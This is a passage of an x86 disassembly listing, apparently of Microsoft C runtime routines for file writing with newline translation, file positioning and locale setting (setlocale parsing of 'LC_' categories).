; ---------------------------------------------------------------------------
loc_426681: ; CODE XREF: sub_4265A0:loc_4266A8j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42668A: ; CODE XREF: sub_4265A0+DFj
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
cmp eax, [edx]
jnb short loc_4266AA
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Ah
jnz short loc_4266A8
mov eax, [ebp+var_18]
add eax, 1
mov [ebp+var_18], eax
loc_4266A8: ; CODE XREF: sub_4265A0+FDj
jmp short loc_426681
; ---------------------------------------------------------------------------
loc_4266AA: ; CODE XREF: sub_4265A0+D4j
; sub_4265A0+F2j
jmp short loc_4266CF
; ---------------------------------------------------------------------------
loc_4266AC: ; CODE XREF: sub_4265A0+AFj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jnz short loc_4266CF
call sub_4224D0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_426833
; ---------------------------------------------------------------------------
loc_4266CF: ; CODE XREF: sub_4265A0:loc_4266AAj
; sub_4265A0+11Aj
cmp [ebp+var_1C], 0
jnz short loc_4266DD
mov eax, [ebp+var_18]
jmp loc_426833
; ---------------------------------------------------------------------------
loc_4266DD: ; CODE XREF: sub_4265A0+133j
mov eax, [ebp+var_C]
mov ecx, [eax+0Ch]
and ecx, 1
test ecx, ecx
jz loc_42682D
mov edx, [ebp+var_C]
cmp dword ptr [edx+4], 0
jnz short loc_426703
mov [ebp+var_18], 0
jmp loc_42682D
; ---------------------------------------------------------------------------
loc_426703: ; CODE XREF: sub_4265A0+155j
mov eax, [ebp+var_C]
mov ecx, [ebp+var_C]
mov edx, [eax]
sub edx, [ecx+8]
mov eax, [ebp+var_C]
mov ecx, [eax+4]
add ecx, edx
mov [ebp+var_10], ecx
mov edx, [ebp+var_8]
sar edx, 5
mov eax, [ebp+var_8]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4DE320[edx*4]
movsx edx, byte ptr [ecx+eax+4]
and edx, 80h
test edx, edx
jz loc_426824
push 2
push 0
mov eax, [ebp+var_8]
push eax
call sub_4263E0
add esp, 0Ch
cmp eax, [ebp+var_1C]
jnz short loc_4267B0
mov ecx, [ebp+var_C]
mov edx, [ecx+8]
add edx, [ebp+var_10]
mov [ebp+var_14], edx
mov eax, [ebp+var_C]
mov ecx, [eax+8]
mov [ebp+var_4], ecx
jmp short loc_426777
; ---------------------------------------------------------------------------
loc_42676E: ; CODE XREF: sub_4265A0:loc_426793j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_426777: ; CODE XREF: sub_4265A0+1CCj
mov eax, [ebp+var_4]
cmp eax, [ebp+var_14]
jnb short loc_426795
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Ah
jnz short loc_426793
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_426793: ; CODE XREF: sub_4265A0+1E8j
jmp short loc_42676E
; ---------------------------------------------------------------------------
loc_426795: ; CODE XREF: sub_4265A0+1DDj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 2000h
test edx, edx
jz short loc_4267AE
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_4267AE: ; CODE XREF: sub_4265A0+203j
jmp short loc_426824
; ---------------------------------------------------------------------------
loc_4267B0: ; CODE XREF: sub_4265A0+1B5j
push 0
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_8]
push edx
call sub_4263E0
add esp, 0Ch
cmp [ebp+var_10], 200h
ja short loc_4267F0
mov eax, [ebp+var_C]
mov ecx, [eax+0Ch]
and ecx, 8
test ecx, ecx
jz short loc_4267F0
mov edx, [ebp+var_C]
mov eax, [edx+0Ch]
and eax, 400h
test eax, eax
jnz short loc_4267F0
mov [ebp+var_10], 200h
jmp short loc_4267F9
; ---------------------------------------------------------------------------
loc_4267F0: ; CODE XREF: sub_4265A0+229j
; sub_4265A0+236j ...
mov ecx, [ebp+var_C]
mov edx, [ecx+18h]
mov [ebp+var_10], edx
loc_4267F9: ; CODE XREF: sub_4265A0+24Ej
mov eax, [ebp+var_8]
sar eax, 5
mov ecx, [ebp+var_8]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 4
test eax, eax
jz short loc_426824
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_426824: ; CODE XREF: sub_4265A0+19Cj
; sub_4265A0:loc_4267AEj ...
mov edx, [ebp+var_1C]
sub edx, [ebp+var_10]
mov [ebp+var_1C], edx
loc_42682D: ; CODE XREF: sub_4265A0+148j
; sub_4265A0+15Ej
mov eax, [ebp+var_1C]
add eax, [ebp+var_18]
loc_426833: ; CODE XREF: sub_4265A0+71j
; sub_4265A0+91j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4265A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426840 proc near ; CODE XREF: sub_41A1B0+147p
; sub_41B920+57p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4DE420
jnb short loc_426871
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42688C
loc_426871: ; CODE XREF: sub_426840+Dj
call sub_4224D0
mov dword ptr [eax], 9
call sub_4224E0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_4268BE
; ---------------------------------------------------------------------------
loc_42688C: ; CODE XREF: sub_426840+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_4299C0
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4268D0
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_429A50
add esp, 4
mov eax, [ebp+var_4]
loc_4268BE: ; CODE XREF: sub_426840+4Aj
mov esp, ebp
pop ebp
retn
sub_426840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268D0 proc near ; CODE XREF: sub_426840+64p
; sub_42E2C0+145p
var_420 = dword ptr -420h
var_41C = byte ptr -41Ch
var_418 = dword ptr -418h
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 420h
mov [ebp+var_10], 0
mov eax, [ebp+var_10]
mov [ebp+var_420], eax
cmp [ebp+arg_8], 0
jnz short loc_4268F6
xor eax, eax
jmp loc_426B3F
; ---------------------------------------------------------------------------
loc_4268F6: ; CODE XREF: sub_4268D0+1Dj
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 20h
test ecx, ecx
jz short loc_426928
push 2
push 0
mov edx, [ebp+arg_0]
push edx
call sub_426470
add esp, 0Ch
loc_426928: ; CODE XREF: sub_4268D0+46j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 80h
test eax, eax
jz loc_426A5C
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov [ebp+var_C], 0
loc_42695D: ; CODE XREF: sub_4268D0:loc_426A55j
mov edx, [ebp+var_4]
sub edx, [ebp+arg_4]
cmp edx, [ebp+arg_8]
jnb loc_426A5A
lea eax, [ebp+var_414]
mov [ebp+var_8], eax
loc_426975: ; CODE XREF: sub_4268D0+115j
mov ecx, [ebp+var_8]
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jge short loc_4269E7
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jnb short loc_4269E7
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_41C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
movsx ecx, [ebp+var_41C]
cmp ecx, 0Ah
jnz short loc_4269D1
mov edx, [ebp+var_420]
add edx, 1
mov [ebp+var_420], edx
mov eax, [ebp+var_8]
mov byte ptr [eax], 0Dh
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_4269D1: ; CODE XREF: sub_4268D0+E1j
mov edx, [ebp+var_8]
mov al, [ebp+var_41C]
mov [edx], al
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
jmp short loc_426975
; ---------------------------------------------------------------------------
loc_4269E7: ; CODE XREF: sub_4268D0+B6j
; sub_4268D0+C1j
push 0
lea edx, [ebp+var_418]
push edx
mov eax, [ebp+var_8]
lea ecx, [ebp+var_414]
sub eax, ecx
push eax
lea edx, [ebp+var_414]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
mov eax, [edx+ecx]
push eax
call dword_4E03B4 ; WriteFile
test eax, eax
jz short loc_426A4A
mov ecx, [ebp+var_10]
add ecx, [ebp+var_418]
mov [ebp+var_10], ecx
mov edx, [ebp+var_8]
lea eax, [ebp+var_414]
sub edx, eax
cmp [ebp+var_418], edx
jge short loc_426A48
jmp short loc_426A5A
; ---------------------------------------------------------------------------
loc_426A48: ; CODE XREF: sub_4268D0+174j
jmp short loc_426A55
; ---------------------------------------------------------------------------
loc_426A4A: ; CODE XREF: sub_4268D0+155j
call dword_4E0350 ; RtlGetLastWin32Error
mov [ebp+var_C], eax
jmp short loc_426A5A
; ---------------------------------------------------------------------------
loc_426A55: ; CODE XREF: sub_4268D0:loc_426A48j
jmp loc_42695D
; ---------------------------------------------------------------------------
loc_426A5A: ; CODE XREF: sub_4268D0+96j
; sub_4268D0+176j ...
jmp short loc_426AAC
; ---------------------------------------------------------------------------
loc_426A5C: ; CODE XREF: sub_4268D0+7Aj
push 0
lea ecx, [ebp+var_418]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
mov ecx, [eax+edx]
push ecx
call dword_4E03B4 ; WriteFile
test eax, eax
jz short loc_426AA3
mov [ebp+var_C], 0
mov edx, [ebp+var_418]
mov [ebp+var_10], edx
jmp short loc_426AAC
; ---------------------------------------------------------------------------
loc_426AA3: ; CODE XREF: sub_4268D0+1BFj
call dword_4E0350 ; RtlGetLastWin32Error
mov [ebp+var_C], eax
loc_426AAC: ; CODE XREF: sub_4268D0:loc_426A5Aj
; sub_4268D0+1D1j
cmp [ebp+var_10], 0
jnz loc_426B36
cmp [ebp+var_C], 0
jz short loc_426AEA
cmp [ebp+var_C], 5
jnz short loc_426AD9
call sub_4224D0
mov dword ptr [eax], 9
call sub_4224E0
mov ecx, [ebp+var_C]
mov [eax], ecx
jmp short loc_426AE5
; ---------------------------------------------------------------------------
loc_426AD9: ; CODE XREF: sub_4268D0+1F0j
mov edx, [ebp+var_C]
push edx
call sub_422430
add esp, 4
loc_426AE5: ; CODE XREF: sub_4268D0+207j
or eax, 0FFFFFFFFh
jmp short loc_426B3F
; ---------------------------------------------------------------------------
loc_426AEA: ; CODE XREF: sub_4268D0+1EAj
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 40h
test eax, eax
jz short loc_426B1B
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
cmp edx, 1Ah
jnz short loc_426B1B
xor eax, eax
jmp short loc_426B3F
; ---------------------------------------------------------------------------
loc_426B1B: ; CODE XREF: sub_4268D0+23Aj
; sub_4268D0+245j
call sub_4224D0
mov dword ptr [eax], 1Ch
call sub_4224E0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_426B3F
; ---------------------------------------------------------------------------
loc_426B36: ; CODE XREF: sub_4268D0+1E0j
mov eax, [ebp+var_10]
sub eax, [ebp+var_420]
loc_426B3F: ; CODE XREF: sub_4268D0+21j
; sub_4268D0+218j ...
mov esp, ebp
pop ebp
retn
sub_4268D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 0B0h
cmp dword ptr [ebp+8], 0
jl short loc_426B65
cmp dword ptr [ebp+8], 5
jle short loc_426B6C
loc_426B65: ; CODE XREF: .data:00426B5Dj
xor eax, eax
jmp loc_426F3B
; ---------------------------------------------------------------------------
loc_426B6C: ; CODE XREF: .data:00426B63j
push 13h
call sub_41BC80
add esp, 4
mov dword ptr [ebp-4], 1
mov eax, dword_4DE424
add eax, 1
mov dword_4DE424, eax
loc_426B8A: ; CODE XREF: .data:00426B9Bj
cmp dword_4DE428, 0
jz short loc_426B9D
push 1
call dword_4E033C ; Sleep
jmp short loc_426B8A
; ---------------------------------------------------------------------------
loc_426B9D: ; CODE XREF: .data:00426B91j
cmp dword ptr [ebp+8], 0
jz short loc_426BE1
cmp dword ptr [ebp+0Ch], 0
jz short loc_426BC1
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_426F40
add esp, 8
mov [ebp-0A8h], eax
jmp short loc_426BD3
; ---------------------------------------------------------------------------
loc_426BC1: ; CODE XREF: .data:00426BA7j
mov eax, [ebp+8]
imul eax, 0Ch
mov ecx, dword_447964[eax]
mov [ebp-0A8h], ecx
loc_426BD3: ; CODE XREF: .data:00426BBFj
mov edx, [ebp-0A8h]
mov [ebp-8], edx
jmp loc_426F1B
; ---------------------------------------------------------------------------
loc_426BE1: ; CODE XREF: .data:00426BA1j
mov dword ptr [ebp-14h], 1
mov dword ptr [ebp-0Ch], 0
cmp dword ptr [ebp+0Ch], 0
jz loc_426F13
mov eax, [ebp+0Ch]
movsx ecx, byte ptr [eax]
cmp ecx, 4Ch
jnz loc_426E24
mov edx, [ebp+0Ch]
movsx eax, byte ptr [edx+1]
cmp eax, 43h
jnz loc_426E24
mov ecx, [ebp+0Ch]
movsx edx, byte ptr [ecx+2]
cmp edx, 5Fh
jnz loc_426E24
mov eax, [ebp+0Ch]
mov [ebp-9Ch], eax
loc_426C31: ; CODE XREF: .data:00426DF3j
push offset asc_435374 ; "=;"
mov ecx, [ebp-9Ch]
push ecx
call sub_42D270
add esp, 8
mov [ebp-0A0h], eax
cmp dword ptr [ebp-0A0h], 0
jz short loc_426C7D
mov edx, [ebp-0A0h]
sub edx, [ebp-9Ch]
mov [ebp-0A4h], edx
cmp dword ptr [ebp-0A4h], 0
jz short loc_426C7D
mov eax, [ebp-0A0h]
movsx ecx, byte ptr [eax]
cmp ecx, 3Bh
jnz short loc_426CA3
loc_426C7D: ; CODE XREF: .data:00426C52j
; .data:00426C6Dj
cmp dword ptr [ebp-4], 0
jz short loc_426C9C
push 13h
call sub_41BD20
add esp, 4
mov edx, dword_4DE424
sub edx, 1
mov dword_4DE424, edx
loc_426C9C: ; CODE XREF: .data:00426C81j
xor eax, eax
jmp loc_426F3B
; ---------------------------------------------------------------------------
loc_426CA3: ; CODE XREF: .data:00426C7Bj
mov dword ptr [ebp-10h], 1
jmp short loc_426CB5
; ---------------------------------------------------------------------------
loc_426CAC: ; CODE XREF: .data:loc_426D01j
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_426CB5: ; CODE XREF: .data:00426CAAj
cmp dword ptr [ebp-10h], 5
jg short loc_426D03
mov ecx, [ebp-0A4h]
push ecx
mov edx, [ebp-9Ch]
push edx
mov eax, [ebp-10h]
imul eax, 0Ch
mov ecx, off_447960[eax]
push ecx
call sub_418830
add esp, 0Ch
test eax, eax
jnz short loc_426D01
mov edx, [ebp-10h]
imul edx, 0Ch
mov eax, off_447960[edx]
push eax
call sub_414EC0
add esp, 4
cmp [ebp-0A4h], eax
jnz short loc_426D01
jmp short loc_426D03
; ---------------------------------------------------------------------------
loc_426D01: ; CODE XREF: .data:00426CE0j
; .data:00426CFDj
jmp short loc_426CAC
; ---------------------------------------------------------------------------
loc_426D03: ; CODE XREF: .data:00426CB9j
; .data:00426CFFj
push offset asc_435370 ; ";"
mov ecx, [ebp-0A0h]
add ecx, 1
mov [ebp-0A0h], ecx
mov edx, [ebp-0A0h]
push edx
call sub_42D230
add esp, 8
mov [ebp-0A4h], eax
cmp dword ptr [ebp-0A4h], 0
jnz short loc_426D69
mov eax, [ebp-0A0h]
movsx ecx, byte ptr [eax]
cmp ecx, 3Bh
jz short loc_426D69
cmp dword ptr [ebp-4], 0
jz short loc_426D62
push 13h
call sub_41BD20
add esp, 4
mov edx, dword_4DE424
sub edx, 1
mov dword_4DE424, edx
loc_426D62: ; CODE XREF: .data:00426D47j
xor eax, eax
jmp loc_426F3B
; ---------------------------------------------------------------------------
loc_426D69: ; CODE XREF: .data:00426D33j
; .data:00426D41j
cmp dword ptr [ebp-10h], 5
jg short loc_426DBA
mov eax, [ebp-0A4h]
push eax
mov ecx, [ebp-0A0h]
push ecx
lea edx, [ebp-98h]
push edx
call sub_417760
add esp, 0Ch
mov eax, [ebp-0A4h]
mov byte ptr [ebp+eax-98h], 0
lea ecx, [ebp-98h]
push ecx
mov edx, [ebp-10h]
push edx
call sub_426F40
add esp, 8
test eax, eax
jz short loc_426DBA
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
loc_426DBA: ; CODE XREF: .data:00426D6Dj
; .data:00426DAFj
mov ecx, [ebp-0A0h]
add ecx, [ebp-0A4h]
mov [ebp-9Ch], ecx
mov edx, [ebp-9Ch]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_426DE8
mov ecx, [ebp-9Ch]
add ecx, 1
mov [ebp-9Ch], ecx
loc_426DE8: ; CODE XREF: .data:00426DD7j
mov edx, [ebp-9Ch]
movsx eax, byte ptr [edx]
test eax, eax
jnz loc_426C31
cmp dword ptr [ebp-0Ch], 0
jz short loc_426E0C
call sub_4270E0
mov [ebp-0ACh], eax
jmp short loc_426E16
; ---------------------------------------------------------------------------
loc_426E0C: ; CODE XREF: .data:00426DFDj
mov dword ptr [ebp-0ACh], 0
loc_426E16: ; CODE XREF: .data:00426E0Aj
mov ecx, [ebp-0ACh]
mov [ebp-8], ecx
jmp loc_426F11
; ---------------------------------------------------------------------------
loc_426E24: ; CODE XREF: .data:00426C02j
; .data:00426C12j ...
mov edx, [ebp+8]
push edx
push 0
push 0
lea eax, [ebp-98h]
push eax
mov ecx, [ebp+0Ch]
push ecx
call sub_4271E0
add esp, 14h
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jz loc_426F11
mov dword ptr [ebp-10h], 0
jmp short loc_426E5E
; ---------------------------------------------------------------------------
loc_426E55: ; CODE XREF: .data:loc_426EBEj
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_426E5E: ; CODE XREF: .data:00426E53j
cmp dword ptr [ebp-10h], 5
jg short loc_426EC0
cmp dword ptr [ebp-10h], 0
jz short loc_426EBE
mov eax, [ebp-10h]
imul eax, 0Ch
mov ecx, dword_447964[eax]
push ecx
lea edx, [ebp-98h]
push edx
call sub_418A30
add esp, 8
test eax, eax
jz short loc_426EB5
lea eax, [ebp-98h]
push eax
mov ecx, [ebp-10h]
push ecx
call sub_426F40
add esp, 8
test eax, eax
jz short loc_426EAC
mov edx, [ebp-0Ch]
add edx, 1
mov [ebp-0Ch], edx
jmp short loc_426EB3
; ---------------------------------------------------------------------------
loc_426EAC: ; CODE XREF: .data:00426E9Fj
mov dword ptr [ebp-14h], 0
loc_426EB3: ; CODE XREF: .data:00426EAAj
jmp short loc_426EBE
; ---------------------------------------------------------------------------
loc_426EB5: ; CODE XREF: .data:00426E88j
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
loc_426EBE: ; CODE XREF: .data:00426E68j
; .data:loc_426EB3j
jmp short loc_426E55
; ---------------------------------------------------------------------------
loc_426EC0: ; CODE XREF: .data:00426E62j
cmp dword ptr [ebp-14h], 0
jz short loc_426EEB
call sub_4270E0
mov [ebp-8], eax
push 2
mov ecx, dword_447964
push ecx
call sub_415C60
add esp, 8
mov dword_447964, 0
jmp short loc_426F11
; ---------------------------------------------------------------------------
loc_426EEB: ; CODE XREF: .data:00426EC4j
cmp dword ptr [ebp-0Ch], 0
jz short loc_426EFE
call sub_4270E0
mov [ebp-0B0h], eax
jmp short loc_426F08
; ---------------------------------------------------------------------------
loc_426EFE: ; CODE XREF: .data:00426EEFj
mov dword ptr [ebp-0B0h], 0
loc_426F08: ; CODE XREF: .data:00426EFCj
mov edx, [ebp-0B0h]
mov [ebp-8], edx
loc_426F11: ; CODE XREF: .data:00426E1Fj
; .data:00426E46j ...
jmp short loc_426F1B
; ---------------------------------------------------------------------------
loc_426F13: ; CODE XREF: .data:00426BF3j
call sub_4270E0
mov [ebp-8], eax
loc_426F1B: ; CODE XREF: .data:00426BDCj
; .data:loc_426F11j
cmp dword ptr [ebp-4], 0
jz short loc_426F38
push 13h
call sub_41BD20
add esp, 4
mov eax, dword_4DE424
sub eax, 1
mov dword_4DE424, eax
loc_426F38: ; CODE XREF: .data:00426F1Fj
mov eax, [ebp-8]
loc_426F3B: ; CODE XREF: .data:00426B67j
; .data:00426C9Ej ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426F40 proc near ; CODE XREF: .data:00426BB1p
; .data:00426DA5p ...
var_A8 = dword ptr -0A8h
var_A0 = dword ptr -0A0h
var_9C = byte ptr -9Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0A8h
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_A0]
push ecx
lea edx, [ebp+var_A8]
push edx
lea eax, [ebp+var_9C]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_4271E0
add esp, 14h
test eax, eax
jnz short loc_426F79
xor eax, eax
jmp loc_4270CF
; ---------------------------------------------------------------------------
loc_426F79: ; CODE XREF: sub_426F40+30j
push 132h
push offset aSetlocal_c ; "setlocal.c"
push 2
lea edx, [ebp+var_9C]
push edx
call sub_414EC0
add esp, 4
add eax, 1
push eax
call sub_4150C0
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_426FB0
xor eax, eax
jmp loc_4270CF
; ---------------------------------------------------------------------------
loc_426FB0: ; CODE XREF: sub_426F40+67j
mov eax, [ebp+arg_0]
imul eax, 0Ch
mov ecx, dword_447964[eax]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
mov eax, dword_4DE06C[edx*4]
mov [ebp+var_4], eax
push 6
mov ecx, [ebp+arg_0]
imul ecx, 6
add ecx, offset dword_4DE1E4
push ecx
lea edx, [ebp+var_14]
push edx
call sub_419330
add esp, 0Ch
mov eax, dword_4DE084
mov [ebp+var_18], eax
lea ecx, [ebp+var_9C]
push ecx
mov edx, [ebp+var_8]
push edx
call sub_418870
add esp, 8
mov ecx, [ebp+arg_0]
imul ecx, 0Ch
mov dword_447964[ecx], eax
mov edx, [ebp+var_A8]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov dword_4DE06C[eax*4], edx
push 6
lea ecx, [ebp+var_A8]
push ecx
mov edx, [ebp+arg_0]
imul edx, 6
add edx, offset dword_4DE1E4
push edx
call sub_419330
add esp, 0Ch
cmp [ebp+arg_0], 2
jnz short loc_427053
mov eax, [ebp+var_A0]
mov dword_4DE084, eax
loc_427053: ; CODE XREF: sub_426F40+106j
cmp [ebp+arg_0], 1
jnz short loc_427065
mov ecx, [ebp+var_A0]
mov dword_4DE088, ecx
loc_427065: ; CODE XREF: sub_426F40+117j
mov edx, [ebp+arg_0]
imul edx, 0Ch
call off_447968[edx]
test eax, eax
jz short loc_4270AC
mov eax, [ebp+arg_0]
imul eax, 0Ch
mov ecx, [ebp+var_C]
mov dword_447964[eax], ecx
push 2
mov edx, [ebp+var_8]
push edx
call sub_415C60
add esp, 8
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov dword_4DE06C[eax*4], ecx
mov edx, [ebp+var_18]
mov dword_4DE084, edx
xor eax, eax
jmp short loc_4270CF
; ---------------------------------------------------------------------------
loc_4270AC: ; CODE XREF: sub_426F40+133j
cmp [ebp+var_C], offset dword_447850
jz short loc_4270C3
push 2
mov eax, [ebp+var_C]
push eax
call sub_415C60
add esp, 8
loc_4270C3: ; CODE XREF: sub_426F40+173j
mov ecx, [ebp+arg_0]
imul ecx, 0Ch
mov eax, dword_447964[ecx]
loc_4270CF: ; CODE XREF: sub_426F40+34j
; sub_426F40+6Bj ...
mov esp, ebp
pop ebp
retn
sub_426F40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4270E0 proc near ; CODE XREF: .data:00426DFFp
; .data:00426EC6p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 1
cmp dword_447964, 0
jnz short loc_427114
push 167h
push offset aSetlocal_c ; "setlocal.c"
push 2
push 351h
call sub_4150C0
add esp, 10h
mov dword_447964, eax
loc_427114: ; CODE XREF: sub_4270E0+14j
mov eax, dword_447964
mov byte ptr [eax], 0
mov [ebp+var_4], 1
jmp short loc_42712E
; ---------------------------------------------------------------------------
loc_427125: ; CODE XREF: sub_4270E0:loc_4271D7j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42712E: ; CODE XREF: sub_4270E0+43j
mov edx, [ebp+var_4]
imul edx, 0Ch
mov eax, dword_447964[edx]
push eax
push offset asc_435384 ; "="
mov ecx, [ebp+var_4]
imul ecx, 0Ch
mov edx, off_447960[ecx]
push edx
push 3
mov eax, dword_447964
push eax
call sub_427380
add esp, 14h
cmp [ebp+var_4], 5
jge short loc_4271A9
push offset asc_435370 ; ";"
mov ecx, dword_447964
push ecx
call sub_418880
add esp, 8
mov edx, [ebp+var_4]
add edx, 1
imul edx, 0Ch
mov eax, dword_447964[edx]
push eax
mov ecx, [ebp+var_4]
imul ecx, 0Ch
mov edx, dword_447964[ecx]
push edx
call sub_418A30
add esp, 8
test eax, eax
jz short loc_4271A7
mov [ebp+var_8], 0
loc_4271A7: ; CODE XREF: sub_4270E0+BEj
jmp short loc_4271D7
; ---------------------------------------------------------------------------
loc_4271A9: ; CODE XREF: sub_4270E0+81j
cmp [ebp+var_8], 0
jnz short loc_4271B6
mov eax, dword_447964
jmp short loc_4271DC
; ---------------------------------------------------------------------------
loc_4271B6: ; CODE XREF: sub_4270E0+CDj
push 2
mov eax, dword_447964
push eax
call sub_415C60
add esp, 8
mov dword_447964, 0
mov eax, off_44797C
jmp short loc_4271DC
; ---------------------------------------------------------------------------
loc_4271D7: ; CODE XREF: sub_4270E0:loc_4271A7j
jmp loc_427125
; ---------------------------------------------------------------------------
loc_4271DC: ; CODE XREF: sub_4270E0+D4j
; sub_4270E0+F5j
mov esp, ebp
pop ebp
retn
sub_4270E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4271E0 proc near ; CODE XREF: .data:00426E37p
; sub_426F40+26p
var_88 = byte ptr -88h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 88h
cmp [ebp+arg_0], 0
jnz short loc_4271F6
xor eax, eax
jmp loc_427360
; ---------------------------------------------------------------------------
loc_4271F6: ; CODE XREF: sub_4271E0+Dj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 43h
jnz short loc_427250
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+1]
test eax, eax
jnz short loc_427250
mov ecx, [ebp+arg_4]
mov byte ptr [ecx], 43h
mov edx, [ebp+arg_4]
mov byte ptr [edx+1], 0
cmp [ebp+arg_8], 0
jz short loc_427239
mov eax, [ebp+arg_8]
mov word ptr [eax], 0
mov ecx, [ebp+arg_8]
mov word ptr [ecx+2], 0
mov edx, [ebp+arg_8]
mov word ptr [edx+4], 0
loc_427239: ; CODE XREF: sub_4271E0+3Dj
cmp [ebp+arg_C], 0
jz short loc_427248
mov eax, [ebp+arg_C]
mov dword ptr [eax], 0
loc_427248: ; CODE XREF: sub_4271E0+5Dj
mov eax, [ebp+arg_4]
jmp loc_427360
; ---------------------------------------------------------------------------
loc_427250: ; CODE XREF: sub_4271E0+1Fj
; sub_4271E0+2Aj
mov ecx, [ebp+arg_0]
push ecx
push offset dword_4478D8
call sub_418A30
add esp, 8
test eax, eax
jz loc_427318
mov edx, [ebp+arg_0]
push edx
